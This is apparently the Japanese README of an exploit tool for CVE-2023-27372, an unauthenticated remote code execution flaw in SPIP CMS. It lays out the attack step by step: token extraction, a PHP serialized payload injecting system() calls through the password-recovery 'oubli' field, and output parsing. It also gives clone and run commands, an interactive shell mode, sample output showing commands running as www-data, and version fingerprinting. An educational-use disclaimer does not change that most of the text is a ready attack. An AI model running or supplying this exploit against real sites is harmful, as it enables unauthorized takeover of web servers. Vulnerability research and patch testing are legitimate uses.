
CVE-2023-27372 用のインタラクティブシェルを備えたエクスプロイト
CVE-2023-27372 のエクスプロイト - SPIP CMS のバージョン 4.2.1 より前のバージョンに影響する認証なしのリモートコード実行脆弱性です。
⚠️ 教育目的のみです。 自分が所有しているシステム、または明示的な書面による許可を得たシステムでのみ使用してください。不正使用は違法です。
SPIP は Web 公開に広く使用されているオープンソース CMS です。この脆弱性はパスワード回復フォーム (/spip.php?page=spip_pass) に存在し、oubli パラメータが適切なサニタイズなしで処理されるため、攻撃者はサーバー上で任意の PHP コードを注入して実行できます — 認証は不要です。
| フィールド | 詳細 |
|---|
| CVE | CVE-2023-27372 |
| CVSS スコア | 9.8 (Critical) |
| 攻撃ベクトル | ネットワーク |
| 認証 | 不要 |
| 影響を受けるバージョン | SPIP < 4.2.1 |
| 脆弱性タイプ | コードインジェクション / 未認証の RCE |
CSRF トークンの取得 — GET リクエストを /spip.php?page=spip_pass に送信し、HTML フォームから formulaire_action_args トークンを抽出します。
ペイロードの構築 — 実行するコマンドを含む PHP シリアル化文字列を作成します:
s:N:"<?php system('COMMAND'); ?>";
ここで N は内部の PHP 文字列の正確なバイト長です。
ペイロードの送信 — 細工されたペイロードを oubli フィールドに含め、CSRF トークンとともに POST リクエストを送信します。SPIP はこのフィールドをサニタイズせずに処理し、注入された PHP コードを実行します。
出力の抽出 — コマンドの出力は HTML レスポンス内に返され、oubli 入力フィールドの value 属性から解析されます。
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <command>
| 引数 | 説明 |
|---|---|
-u, --url | ターゲット SPIP インスタンスのベース URL |
-c, --command | ターゲットで実行する OS コマンド |
-s, --shell | インタラクティブシェル |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
期待される出力:
[+] Token found : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ターゲットの SPIP バージョンを確認するには、HTML 内の meta generator タグを探します:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Disclaimer
私のリポジトリで提供される情報やエクスプロイトは、教育目的および責任ある開示のためにのみ使用してください。これらのツール、スクリプト、エクスプロイトの使用によって生じた誤用や損害について、私は一切の責任を負いません。